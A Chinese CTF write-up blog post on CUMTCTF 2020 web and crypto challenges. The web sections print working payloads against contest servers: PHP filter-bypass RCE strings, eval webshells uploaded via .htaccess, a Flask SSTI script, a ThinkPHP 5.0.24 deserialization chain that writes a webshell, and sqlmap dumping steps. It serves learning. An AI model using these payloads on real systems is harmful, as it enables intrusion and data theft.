想了想如果每次比赛都单独放一篇得话 那博客就全是wp了 还是汇总一下吧

2020 12月CUMTCTF

Web

ez_js

main.js颜文字加密,找了个网址解密,flag就藏在源码里,拼接即可

ez_rce

第一步爆破md5

import hashlib 
def md5(s):
    return hashlib.md5(s).hexdigest() 
for i in range(1, 9999999):
    if md5(str(i).encode("utf-8")).startswith('7b6db2'):
        print(i)

第二步,rce

过滤了字母,利用php的错误运算构造字母

1/0 返回 INF
0/0 返回 NAN
利于科学计数法可以返回E

然后通过位运算得到其他字符,再利用得到的新字符一步一步拓展知道得到所有字符。

考虑到每次去构造新的命令比较麻烦,可以直接利用('systEM')(('GEtALLHEADErs')在header里命令执行

get:
?pass=2708999
post:
code=((((0/0).(0)){1}|((2).(0)){0}).(((0/0).(0)){1}|((8).(0)){0}).(((0/0).(0)){1}|((2).(0)){0}).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})).((((0/0).(0)){0}&((1/0).(0)){0})|(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2}))))(((((0/0).(0)){1}|((1/0).(0)){2}).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})).(((0/0).(0)){1}).((((0/0).(0)){0}&((1/0).(0)){0})|(((0/0).(0)){0}&((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0}))).((((0/0).(0)){0}&((1/0).(0)){0})|(((0/0).(0)){0}&((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0}))).(((0/0).(0)){0}&((1/0).(0)){0}).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})).(((0/0).(0)){1}).(((0/0).(0)){0}&((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})).((((0/0).(0)){1}|((2).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})).(((0/0).(0)){1}|((2).(0)){0}))(){111})
#//('systEM')(('GEtALLHEADErs')(){123})
#记得要把post的内容urlcode 不然& | 会被截断
header:
123:cat /tmp/flag_is_here

ez_upload

一道文件上传题,给了源码也没能做出来...

源码

<?php
session_start();
if (!isset($_POST['content']) || !isset($_POST['filename'])) {
    echo "Missing something";
    die();
}

$content = $_POST['content'];
$filename = $_POST['filename'];

if (!is_string($content) || strlen($content) > 125) {
    echo "content is too long!!!";
    die();
}
if (!is_string($filename) || strlen($filename) > 10) {
    echo "filename is too long!!!";
    die();
}
for ($i = 0; $i < 31; $i++) {
    if ($i !== 10 && stristr($content, chr($i))) {
        echo "only visible character ";
        die();
    }
}
for ($i = 127; $i < 256; $i++) {
    if (stristr($content, chr($i))) {
        echo "only visible character ";
        die();
    }
}
$content_blacklist = array("session",'set',"html", "type", "upload", "append", "prepend", "log", "script", "error", "include", "zend", "htaccess", "pcre", "\\", "\\\\","#", '>','=' );
foreach ($content_blacklist as $keywords) {
    if (stristr($content, $keywords)) {
        echo "Hacker";
        die();
    }
}
$filename_blacklist = array("ph", "ini",'pl','perl',"sh","py");
$append_string = "ohohohohohohohohoh!";
$yourdir = md5($_COOKIE['PHPSESSID']);
foreach ($filename_blacklist as $file_keys) {
    if (stristr($filename, $file_keys)) {
        echo "hacker";
        die();
    }
}
if (!is_dir($yourdir)) {
    @mkdir($yourdir);
}else {
    file_put_contents($yourdir . '/' . $filename, $content . $append_string);
    echo "file's path:  /var/www/html/".$yourdir . '/' . $filename;
}
?>


思路:

  • 文件名字过滤了ph,基本上想直接绕过是不可能的了。
  • 没有过滤.htaccess,考虑用其修改目录配置的方式。
  • 内容的结尾有藏字符,必须将其注释才能达到我们想要的效果。

绕过:
先上传.htaccess文件,内容为:

#SetHandler application/x-httpd-php .a
#AddType application/x-httpd-php .a
#上面两种都不行  set和type都被过滤了

AddHandler application/x-httpd-php .a 

有脏字符的存在,翻阅资料.htaccess注释的方法只有#,或者0x00,不仅前者被过滤,这两种方法都是在每行的开头才能生效。

最后学长的wp里是用的.,后面拼接的脏字符会被自动认作是一个拓展名,从而达到绕过。

AddHandler application/x-httpd-php .a  .
#拼接后就是:
#AddHandler application/x-httpd-php .a  .ohohohohohohohohoh!
#.a 和.ohohohohohohohohoh!都被认作交给php处理器处理

最后利用php短标签的特性,payload1.a

<?php @eval($_POST['shell']); /*

ez_flask

先放脚本,寒假再慢慢学吧

import requests
import string
from bs4 import BeautifulSoup
import hashlib
def get_md5(s):
    md = hashlib.md5()
    md.update(s.encode('utf-8'))
    return md.hexdigest()
def get_pass(s):
    for i in range(999999,99999999999999999):
        if(get_md5(str(i)).startswith(s)):
            return str(i)

url = 'http://219.219.61.234:50007/'
headers={
"Cookie":None,
}
data={
    'username':'',
    'password':''
}
payload1='''{{" '''
payload2=''' "|attr("%c%c%c%c%c%c%c%c%c"%(95,95,99,108,97,115,115,95,95))|attr("%c%c%c%c%c%c%c%c"%(95,95,98,97,115,101,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c%c%c%c"%(95,95,115,117,98,99,108,97,115,115,101,115,95,95))()|attr("%c%c%c%c%c%c%c%c%c%c%c"%(95,95,103,101,116,105,116,101,109,95,95))(164)|attr("%c%c%c%c%c%c%c%c"%(95,95,105,110,105,116,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"%(95,95,103,108,111,98,97,108,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"%(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c%c%c"%(95,95,98,117,105,108,116,105,110,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"%(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c"%(101,118,97,108))("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,103,103,103,103,103,103,103,103,39,41,46,114,101,97,100,40,41))}}'''

data['username']=payload1
re1 = requests.get(url=url+'index')
token=str(BeautifulSoup(re1.text,"html.parser").html.find_all("p")[0])[-9:-4]

headers['cookie']=re1.headers['Set-Cookie']
data['password']=get_pass(token)

re2 = requests.post(url=url+'login',data=data,headers=headers,allow_redirects=False)

headers['cookie']=re2.headers['Set-Cookie']
re3 = requests.get(url=url+payload2,headers=headers)
print(re3.text)

ez_thinkphp

thinkphp 5.0.24反序列化漏洞,找的网上的exp打的

exp

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];

        public function __construct($files)
        {
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {

    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
    }
}

namespace think\db {
    class Query {
        protected $model;

        function __construct($model)
        {
            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

    }
}
namespace think\session\driver {
    class Memcached
    {
        protected $handler;

        function __construct($handle)
        {
            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}

namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;

        function __construct(){
            $this->options=[
                'expire' => 3600, 
                'cache_subdir' => false, 
                'prefix' => '', 
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    echo serialize($window);
    echo base64_encode(serialize($window));
}
//http://219.219.61.234:50022/a.php12ac95f1498ce51d2d96a249c09c1998.php
//ccc=system("cat /flag");


Crypto

RSA签到

n:箭头解密
c:emoji解密
e:雪花解密
p,q可由n在线分解得到

from gmpy2 import invert
n=807862607863494903203347547751222668477246136996519972166847 #箭头加密
c=6525071913169990474785757170304035615411828876052879070297   #emoji加密
e=65537  #雪花加密
p=780900790334269659443297956843
q=1034526559407993507734818408829

phi_n=(p-1)*(q-1)
d=invert(e,phi_n)
m=pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

简单的密码学

离散对数求解问题,python内置了方法

from sympy.ntheory import discrete_log
m = 45930439493588458217814199095166325056793804285450102007731089001050571514856332627851425138364361016243889773238664380678029627984235001868004334568770697
c = 5057805883715955343508948629802682033540608675113624374337084633322875196538392521768197949724904990019045804655058020268973563802830621371118940310488041
n = 2 ** 514
e=discrete_log(n,c,m)
print(bytes.fromhex(hex(e)[2:]))

名字不重要

首先对pyc文件反编译,将其16字节头改为
55 0D 0D 0A 00 00 00 00 70 79 69 30 10 01 00 00
uncomply6反编译,得到代码。

import hmac, hashlib, random, struct     
KIDING_SIZE = 32
SIG_SIZE = 16
TOTAL_SIZE = set((c for c in range(256)))
KEY = b'af5f76f605a700ae8c0895c3e6175909'

def func1(v):
    return bytes([v])


def sign_sign_sign(val, key):
    return hmac.new(key,
      val, digestmod=(hashlib.sha256)).digest()[:SIG_SIZE]


def chaff_chaff_chaff_b(val, key):
    messgs = {}
    messgs[val[0]] = sign_sign_sign(val, key)
    while len(messgs) < KIDING_SIZE:
        arg1 = list(TOTAL_SIZE - set(messgs.keys()))
        c = random.choice(arg1)
        if c == val:
            raise ValueError('C~h~o~s~e d~u~p~l~i~c~a~t~e~!')
        bad_sig = bytes(random.choices((list(TOTAL_SIZE)), k=SIG_SIZE))
        messgs[c] = bad_sig

    block = []
    for k, v in messgs.items():
        block.append(b'%s%s' % (func1(k), v))
    else:
        random.shuffle(block)
        return ''.join(block)


def chaff_chaff_chaff_m(val, key):
    if not isinstance(val, bytes):
        val = val.encode('utf-8')
    the_out = []
    for b in val:
        the_out.append(chaff_chaff_chaff_b(func1(b), key))
    else:
        out1 = ''.join(the_out)
        return struct.pack('>I', len(val)) + out1


def winnow_winnow_winnow_m(val, key):
    if not isinstance(val, bytes):
        val = val.encode('utf-8')
    msglen = struct.unpack('>I', val[:4])[0]
    val = val[4:]
    block_len = (SIG_SIZE + 1) * KIDING_SIZE
    expected_len = block_len * msglen
    if len(val) != expected_len:
        raise ValueError('E~x~p~e~c~t~e~d l~e~n~g~t~h %d, saw %d.' % (expected_len, len(val)))
    pieces = []
    for c in range(msglen):
        chunk = val[block_len * c:block_len * (c + 1)]
        res = winnow_winnow_winnow_b(chunk, key)
        pieces.append(res)
    else:
        return ''.join(pieces)


def winnow_winnow_winnow_b(val, key):
    while val:
        c = func1(val[0])
        sig = val[1:SIG_SIZE + 1]
        if sign_sign_sign(c, key) == sig:
            return c
        val = val[SIG_SIZE + 1:]

    raise ValueError('~N~o v~a~l~i~d s~i~g f~o~u~n~d!')


def main():
    inp = b'~T~h~i~s i~s a t~e~s~t m~e~s~s~a~g~e!'
    msg = chaff_chaff_chaff_m(inp, KEY)
    ret = winnow_winnow_winnow_m(msg, KEY)
    if inp != ret:
        print('W~r~o~n~g r~e~t: %s' % ret)


if __name__ == '__main__':
    main()

还没学过密码学的菜鸡表示一点也看不懂,只能随着关键字一点一点搜,根据函数名字查到了一个叫做chaffing and winnowing的加密方式,不过国内对这种加密的文献非常少。

“这里的chaff和winnow函数实际上是指代密码学领域当中的一种技术Chaffing and winnowing,其中chaff表示谷壳,winnow表示风选,这里的名字来源于农业中:人们收获谷物并对其进行脱粒后,仍然有一些部分和不可食用的谷壳混合在一起,为了分开并去除这些杂质,人们利用物料与杂质之间悬浮速度的差别,借助风力来除杂,这一过程称为风选,分开后的谷壳部分就可以被丢弃了。”

​ ——安全客

在网上找到了轮子,原内容应该就是从message.pcap中导出。wireshake打开,追踪tcp流显示原始数据,再从010里新建16进制文件粘贴,命名为message.dump保存。

最后上轮子:

from Crypto.Util.number import *

f = open('message.dump', 'rb').read()[4:]

data = []
for i in range(0, len(f), 32*17):
    data.append(f[i:i+32*17])

data2 = [[] for _ in range(len(f)//(32*17))]
allres = []
count = 0
for item in data:
    l = []
    for i in range(0, len(item), 17):
        l.append(item[i:i+17])
    for j in l:
        c = j[0]
        sig = j[1:]
        data2[count].append((c, sig))
        allres.append((c, sig))
    count += 1

msg = []
for item in data2:
    for m in item:
        if allres.count(m) > 1:
            msg.append(m)
            break

print(b''.join([long_to_bytes(item[0]) for item in msg]))

电脑跑个30秒左右就出来了,flag藏在内容里。

This message is encoded using a technique called "Chaffing and Winnowing"[1],\na technique that was first published by Ron Rivest in an article published on\nthe 18th of March 1998 (1998/03/18).  Unfortunately, my implementation of the\ntechnique suffers from very significant flaws, not the least of which is the\nfailure to include a counter within the the MAC\'d portion of the data.  This\nleads to all valid bytes with the same value having the same MAC, which should\nallow for a fairly trivial frequency analysis attack on the message.\nUltimately, if you\'re reading this, then you\'ve found *some* way to crack the\nencoding applied here.\n\nChaffing and winnowing also leads to a pretty major blow up in size.  Imagine\nif, instead of 31 bytes of chaff per byte of message, I had used the maximum\n255.  Imagine that I used a 256-bit MAC instead of 128.  (256 bits: military\ngrade crypto!!@!)\n\nAt this point, you\'ve been patient enough through my diatribe (which is really\njust to give you the plaintext you need to launch your attack against the output\nof this encoding).  What you\'re really here for is the FLAG.  Like most of our\nother flags, this is in the typical CTF{} format.\n\nCTF{thanks_to_rivest_for_all_his_contributions}\n\n- Matir.\n(@Matir, https://systemoverlord.com)\n\nGreetz to decreasedsales, dissect0r, poptart, ehntoo, illusorycake, and\nzerobitsmith.\n\n\n[1]: https://en.wikipedia.org/wiki/Chaffing_and_winnowing\n

很神奇的方法,可惜没有时间研究,有空再好好看

名字没想好

flag被分为了两段。

第一部分:当e与$\phi(n)$不互素的考虑。

e有因子2,gift = lcm(p- 1, q - 1) 大约为n的一半,可以看出$\phi(n)$也有因子2,那么e与$\phi(n)$有公因子,在求逆元$d=invert(e,\phi(n))$的时候就会报错,这里需要我们变形。

e=51869*2=a*b 就有:
$$
ed=abd\equiv1\pmod {\phi(n)}$$
$$
e的逆元d我们求不出,转而求a的逆元bd
$$
$$
c \equiv m^{ab} \pmod n
$$
上式进行bd次方
$$
c^{bd} \equiv m^{abbd}=m^{b} \pmod n
$$
最后的式子中,b已知等于2,bd是a的逆元可求,利用低加密指数攻击,对m^2直接开根。

import gmpy2
e= 51869*2
b=2
a=51869
n    =24511956296934419790810802924028121267308277322350201914243748724443965915830044792139346496470216715543376102606906727287935669186132061565360428924230740995935556111187855700300365517739695893842582114724005232045077425187550801509268664723237890122110051088839310003135672964413501812829310021228720112275276180469100308793523051405119335989674132224715582989624204590983857159312466387546505666052162775188773736419909262619409755848412558718676873188073997893894862353873441073313610102773845304906678909624700529896455885309546409645526387707907518497436045821973310653257012148438207441605902771515486273283273
c    =7357116532209949285136310518084676100522798730487701269950303460540634127932201594120600757671807456790592531487713433579926404640474277692592102315472760853853767347752080563508622523821339163225554653816787201616233932746815764392729597579461985789538131853246938443458331139199802764554726447278501492140335824365867574318693890007499638038064582031311613039571335453968072426153706431456149868515230310567240569544961967582304893471240728585336273245259533905230737876248875784828430507371662455796543123714325161987112223947057481814610592300979207673818538093532100233028106442070524965861451563388404227738574
gif  =12255978148467209895405401462014060633654138661175100957121874362221982957915022396069673248235108357771688051303453363643967834593066030782680214462115370497967778055593927850150182758869847946921291057362002616022538712593775400754634332361618945061055025544419655001567836482206750906414655010614360056137481173664901476116870144816992211793902146834987166288769615612767704010592138813256140678199511291489394523989294805910740127557682458229594376211232977501267410539674224065875285801753027816046254818608535462445306054117075379711073762930279723764342988824053970592468109679774789092077979655857748513636834
phi_n=gif*2
phi_n=24511956296934419790810802924028121267308277322350201914243748724443965915830044792139346496470216715543376102606906727287935669186132061565360428924230740995935556111187855700300365517739695893842582114724005232045077425187550801509268664723237890122110051088839310003135672964413501812829310021228720112274962347329802952233740289633984423587804293669974332577539231225535408021184277626512281356399022582978789047978589611821480255115364916459188752422465955002534821079348448131750571603506055632092509637217070924890612108234150759422147525860559447528685977648107941184936219359549578184155959311715497027273668
bd=gmpy2.invert(a,phi_n)
m_2=pow(c,bd,n)
#低指数攻击
m=gmpy2.iroot(m_2,2)
print(m)
m=384404681306303776190094536275291033147959243871

print(bytes.fromhex(hex(m)[2:]))
#CUMTCTF{now_you_get_

第二部分

第二部分的p和q是两个相邻的素数,根据质数定理,他们两个的差值并不大,可以从开根爆破。
这一题给了我们e,d,c。根据$ed\equiv 1 \pmod {\phi(n)}$,得到$ed-1=k\phi(n)$.
计算发现ed-1为2063位,p和q都是1024位,那么$\phi(n)$也就差不多是2048位,也就是说k大约是一个二进制15位数。

e=65537
d = 14519297697723031496224953772301033569165883208616356699837703756220717249229195213146695656923357394378868735444167631602696573904678412172248043414276910206086892084385988564720914312238316434518024995169814463252129242492227202678878240875905293369168263909256455159691392124769949072754243536472227070447391890140409479709945084894060833468804156778720190688101601664725009609222256314873780002770605127043596912060811904733471592387441742111474341938658516761896926403628885365926903655309306738689809023277824030268579979837642613499180913999651379232105756338399243024739524553588216117189742912479604441636257
c = 23574157314515030841894399693996910252287747536395985840285410194536546768646580704111053676040921830550019965767796038280932469005359270920519250763405535872475345625907947986452218739530197421244240070129909526493952916306821311836861766221812155261751444946282559677005557815746813525162411907545113665605490915464367483833005576787591204417525937745572210195816236947103271664048065491627347939268785403334419989160034526164012966888952162714736497312282011026789187871221751240709801544484784941178786820290118585681595783245449236394480319395321877182096839866054466492123200354772280398476167002177544154960579
import sympy.crypto
import gmpy2
k_e_d_1=e*d-1
p=0
q=0
for k in range(pow(2,14),pow(2,16)):
    if k_e_d_1%k==0:
        p=sympy.prevprime(gmpy2.iroot(k_e_d_1//k,2)[0])
        q=sympy.nextprime(p)
        if (p-1)*(q-1)*k==k_e_d_1:
            print("right")
            print(k)
            break

print(q-p)
n=p*q
print(n)
m=pow(c,d,n)
print(m)
print(bytes.fromhex(hex(m)[2:]))
#the_full_flag!@#$%!!!}

Merry_Christmas

这一题也是两层,第一层n无法分解,但是p是第二层的m,先求第二层即可解决。

把q求出来后,后面两个部分就是常规解决了。

from Crypto.Util.number import *
import libnum
from gmpy2 import invert
from math import gcd
# ----第二层-----
e1 = 979691
n1   =21465819616864492551767155722996412718832402997933699784091937387760830726039866762857450959675228856561597024318920734312362144261628290737563681759442171285581931041622345778933572673367607809994811354957971820829401430301563611970709279094237597394734599103937206689348004861322161582747568764567491894069565665829828570957338594421227530701263883322496237907509301547209937444268813162260988374157151529111924866290775985684107622034449136081744171954609262107449388993051611516007232903948144186151363436032658716266030263647775582015141329829060294352706551807295555026827381280240539020513044515406829846588787
gift1=21073862899796816496314528055339279280335681203948249072101881208021752125789533267427994742277358208178070970462447090818216561770563907183494712376741842209323406667050344266668347773728401520981152006053958337605219297650281680615939792818684114311810254344598007357629176456353064311734075462353266893546853648829947081541158912147691654438830914577857503519080776224006347318623082457516638594584206488534978134212723395494600005197454325625290580653432901204502054226866606652982669196910942405139803194404497913820850500332680877820694279428529873469583387698995104411071804749202120283361058269192420218572231
gift2=7634352822409241151514235360777296908269419654786551951076299092182838191720014827302929726661609788893676185300000003824161794580145215813570705896440007085639728197111313542046542236060921056046727832889041640187683808320443684484085665265794806366182119574554965179974119587542057100849953753232435527244682735108194058759240757296546820383552711669453408694460188770050594702462736564767783116432265746800810795602828775783509056534518928775187835786128676790426643882842096826044057116388930041087679950264956074503205229333151001519229166174531496272703271636344792947552939606533888390978361247276796123693665
x = pow(907,587*691)*pow(gift2,587)-pow(gift1,691)
q1 = gcd(x,n1)
p1 = n1//q1
phi_n1=(p1-1)*(q1-1)
e1 = 979691
d1 =invert(e1,phi_n1)
c1 =19585478304129650368934167685581947379018238627360258251578178648406399091655911309790559870365866290321783969820131014958701556570645863667895395615377725655139970869868226237575462206775170966585306390686724869174973947234608655786245191308423334769172394586099003865664934720651493266130413617892286830586179842568659758155132923079476873190047514962385696606866440573294836559927597496331643346032100075257329902065785369011323134807157288931237650262052445952481912276967263237183320639027956890814569212814115581834172475173790422964999583755677956698930811772293980516268488171908878145019531149798750799613142

# ----回到第一层----
e=65537
n=17539423546879883396629573776616418986256902147283732214295946312835113344061142956076117932720247053739715326040027048199629442201144987405090572982720131052885163184811793669071684926986445262835990861167700118224153436202178098707759605979066475651999711718728200184335695206586643579499656822346329750835696158561669170301767928780361376643304324731146650458384564533895090608529488304659924485356518526226061081943815971670656857778229528022465452008890430046982169571771039198877713729197033434033303723925335811353531172899520232033290866272195248554656110282928669639257994965701208856346298076998993772423097
c=5560694632613114538708358450844738346732427106497566176686415566542021811907746171660858360055720615188679328728275250111979427060322426593068123630729075838980217642604281020733578019517061369665467249555496690538379316251258553434263030485822069081031041121329559075841297923650799241347196473466430248261213536319894271629049899379974582453405472218720572088937075254938460083046946717784821298765199164644879680847984441166684509290675197526982405556980540919856072198191306527746754844792294221564010770506298266272017613487725494001276623402987809305696759434595799863487759478902384039066714073292949058853003
p=pow(c1,d1,n1)  #这里的m就是p
q=n//p
phi_n=(p-1)*(q-1)
d=invert(e,phi_n)
m=pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
#flag{Merry_Christmas_dear_ctfer!!!}

2020 11月CUMTCTF

web

签到

  1. payload ?it
  2. payload ?it=BXS
  3. post we = champion
    image.png
  4. base64解码

签到序列化

御剑扫目录得到/www.zip

<?php
error_reporting(0);
class c{
    private $a = 'BBXXSS';
    protected $b = 'SSXXBB';
    public $z='XXBBSS';
    public function __construct($a,$b,$z){
        $this->a = $a;
        $this->b = $b;
        $this->z = $z;
    }
    function __destruct(){
        if ($this->b!=777) {
            echo "</br>NO!!!hacker!!!</br>";
            die();
        }
        if ($this->z!=4396) {
            echo "</br>NO!!!hacker!!!</br>";
            die();
        }
        if ($this->a=== 'BXS') 
        {
            echo"************这是啥,懂我意思八*******************";
        }else{
            echo "</br>OH NO</br>i can't give you flag!";
            die();
        }
    }
}
if (isset($_GET['username']) and isset($_GET['password']))
{
    if ($_GET['username']!=$_GET['password']&&sha1($_GET['username'])==sha1($_GET['password']))
    {
        echo"success";
        $d = $_GET['flag'];
        $res=unserialize(@$d);
    }

}
?>
  1. md5在处理数组时会返回NULL,payload ?username[]=0&password[]=1
  2. 序列化
<?php
class c
{
    private $a ='BXS';
    protected $b =777;
    public $z=4396;

}
$test=new c;
echo (serialize($test));
?>

得到O:1:"c":3:{s:4:" c a";s:3:"BXS";s:4:" * b";i:777;s:1:"z";i:4396;}

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

protected
声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。

\0 表示 ASCII 码为 0 的字符(不可见字符),而不是 '\0' 。

在浏览器提交时,不会识别\0,需要换为%00

最终payload:?username[]=0&password[]=1&flag=O:1:"c":3:{s:4:"%00c%00a";s:3:"BXS";s:4:"%00*%00b";i:777;s:1:"z";i:4396;}

image.png

easy_upload

回来写wp的时候发现其他师傅传了很多奇奇怪怪的东西。

  1. 上传.htaccess 文件 可以把jpg后缀文件解析为php
AddType application/x-httpd-p\
hp .jpg
  1. 再上传jpg文件
<?php @eval($_POST['theoyu']) ?>

蚁剑或者直接命令执行。

easyunserialize

根据data breach(数据泄露),以及F12的Do you know php source???,想到index.phps源代码泄露。(题目改了一次,加了一个index.php.bak,大多字典也可以扫出来)

源码:

<?php
// code of src.php 
error_reporting(0);
class happy{ 
  public $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) 
        highlight_file(dirname (__FILE__).'/'.$this ->file);
      else
        die('Invalid filename.');

  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}     
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=base64_decode($_GET['file']); 
  if(strpos($file,"flag") !== false){
    $file = str_replace("flag", "", $file);
  }
  echo unserialize($file); 

//flag in flag.php
}
  1. 初构造O:5:"happy":1:{s:4:"file";S:8:"flag.php";}
  2. __wakeup(): unserialize()前会检查是否存在__wakeup(),如果存在会优先调动。需要绕过这个函数。这里利用CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。所以前面1改为2.
  3. 有对flag的简单过滤,可以双写flag,也可以大写S绕过。
  4. 再base64加密即可。

最终payload:O:5:"happy":2:{s:4:"file";S:8:"\66lag.php";}的base64加密。

  1. 提交是在src.php界面。

image.png

EZ PHP

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['tag'])){
    $tag=$_GET['tag'];
    if ($tag==md5($tag))
        echo "6啊继续.</br>";
    else
        die("爬爬爬");
}else{
    die("     ");
}
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 4040 && intval($num + 1) > 4041){
        echo "OK继续";
    }else{
        die("再试试很简单的");
    }
}else{
    die("开始第二关吧");
}
if (isset($_GET['getit'])){
    $getit = $_GET['getit'];
    if(!strstr($getit," ")){
        $getit = str_ireplace("cat", "cumtctf", $getit);
        $getit = str_ireplace("rm", "cumtctf", $getit);
        $getit = str_ireplace("mv", "cumtctf", $getit);
        echo "U R THE BEST";
        system($getit);
    }else{
        die("凉了鸭");
    }
}else{
    die("开始第三关吧");
}
?>
  1. \$tag==md5($tag) 只能利用弱等于 这里爆破的话大概需要4个小时左右。

当然,Google一下会有惊喜

<?php
for ($i = 0; $i < 99999999999; $i++) 
{
    $tag = '0e' . $i;
    //echo(md5($tag));
    // $tag='0e215962017';
    if ($tag == md5($tag)) 
    {
        echo($tag);
    }
}

?>
  1. if(intval(\$num) < 4040 && intval(\$num + 1) > 4041)

    这里利用科学计数法传入num=1e6

    在前面会被截断为1,1<4040

    在后面解析为科学计数法,成功绕过。

  2. 过滤了空格和cat,ls后直接ca\t%09fFLLAaaaGgggg.php

最终payload:?tag=0e215962017&num=1e6&getit=ca""t%09fFLLAaaaGgggg.php

F12,可以发现flag在源码里

Sql_1

sqlmap注入

  1. 抓包,把内容保存在sqlmap目录下并命名为1.txt

    image.png

  2. 查库:python2 .\sqlmap.py -r .\1.txt --dbs

    image.png

  3. 查表:python2 .\sqlmap.py -r .\1.txt -D cumtctf --tables

    image.png

  4. 查列:python2 .\sqlmap.py -r .\1.txt -D cumtctf -T ctfers --columns

    image.png

  5. 查具体密码:python2 .\sqlmap.py -r .\1.txt -D cumtctf -T ctfers -C "password" --dump

    • do you want to crack them via a dictionary-based attack? [Y/n/q] #你想通过基于字典的攻击破解它们吗? 这里选no,密码肯定没有被加密,这么长的密码如果被加密也解不出来。

image.png

crypto

最最最基础密码

a(x)=15x+6(mod26)
key : kbcxfi_1q_quxob_ogqc

全为小写的仿射密码

from gmpy2 import invert
c='kbcxfi_1q_quxob_ogqc'
m=''
a_inv=invert(15,26)
for i in c:
    if(i.isalpha()):
        m+=chr(((ord(i)-97-6)*a_inv)%26+97)
    else:
        m+=i
print(m)
#crypto_1s_super_easy

在线工具也可

pseudo-random number

#!/usr/bin/python3
import qrcode  # https://github.com/lincolnloop/python-qrcode
import random
import os
from PIL import Image
from flag import FLAG

def Secret1(img):
    m, n = img.size
    Secret1= Image.new("L", (2*m, 2*n))
    image_data = img.getdata()
    flipped_coins = [int(bit) for bit in bin(random.getrandbits(m*n))[2:].zfill(m*n)]
    for idx, pixel in enumerate(image_data):
        i, j = idx//n, idx % n
        color0 = 0 if flipped_coins[idx] else 255
        color1 = 255 if flipped_coins[idx] else 0
        if pixel:
            Secret1.putpixel((2*j, 2*i), color0)
            Secret1.putpixel((2*j, 2*i+1), color0)
            Secret1.putpixel((2*j+1, 2*i), color1)
            Secret1.putpixel((2*j+1, 2*i+1), color1)

        else:
            Secret1.putpixel((2*j, 2*i), color1)
            Secret1.putpixel((2*j, 2*i+1), color1)
            Secret1.putpixel((2*j+1, 2*i), color0)
            Secret1.putpixel((2*j+1, 2*i+1), color0)

    Secret1.save('Secret.png')

def main():
        qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=12,
        border=4,
    )
    qr.add_data(FLAG)
